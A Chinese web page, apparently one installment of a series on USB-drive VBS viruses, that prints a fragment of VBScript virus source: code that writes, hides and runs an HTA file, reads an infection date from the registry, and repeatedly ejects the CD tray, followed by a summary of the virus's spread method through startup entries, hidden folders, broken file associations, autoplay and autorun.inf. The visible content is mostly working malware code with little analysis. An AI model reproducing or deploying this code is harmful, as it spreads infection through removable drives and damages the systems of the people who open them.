u盘中了vbs病毒怎么办_u盘vbs病毒杀不干净_vbs病毒(13)

If FSO.FileExists(HtaPath)=False Then

Call CreateFile(HtaCode, HtaPath)

Call SetHiddenAttr(HtaPath)

End If

Call Run(HtaPath)

End Sub

Function GetInfectedDate()'获取感染日期

On Error Resume Next

Dim DateInfo

DateInfo='HKEY_CURRENT_USER\SoftWare\Microsoft\WindowsNT\CurrentVersion\Windows\Date'

If ReadReg(DateInfo)='' Then

GetInfectedDate=''

Else

GetInfectedDate=CDate(ReadReg(DateInfo))

End If

End Function

Sub MakeJoke(Times)'恶搞，弹出光驱

On Error Resume Next

Dim WMP, colCDROMs

Set WMP = CreateObject( 'WMPlayer.OCX' )

Set colCDROMs = WMP.cdromCollection

If colCDROMs.Count >0 Then

For i=1 to Times

colCDROMs.Item(0).eject()

WScript.Sleep 3000

colCDROMs.Item(0).eject()

Next

End If

Set WMP = Nothing

End Sub

病毒的运行思路：添加启动项，隐藏各个盘符下的目录，创建指向病毒脚本的快捷方式，破坏隐藏选项，破坏文件关联，破坏我的电脑打开方式，开启自动播放，创建autorun.inf。

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25802-13.html